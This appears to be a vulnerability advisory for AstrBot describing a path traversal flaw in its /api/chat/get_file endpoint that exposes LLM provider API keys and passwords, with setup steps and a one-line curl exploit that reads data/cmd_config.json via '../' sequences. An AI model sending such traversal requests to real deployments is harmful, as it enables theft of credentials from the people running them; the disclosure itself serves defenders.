📋 Description
Impact
This vulnerability may lead to:
- Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
-
Install dependencies and clone the repository:
pip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py -
Alternatively, deploy the program via pip:

In another terminal, run the following command to exploit the vulnerability:
curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
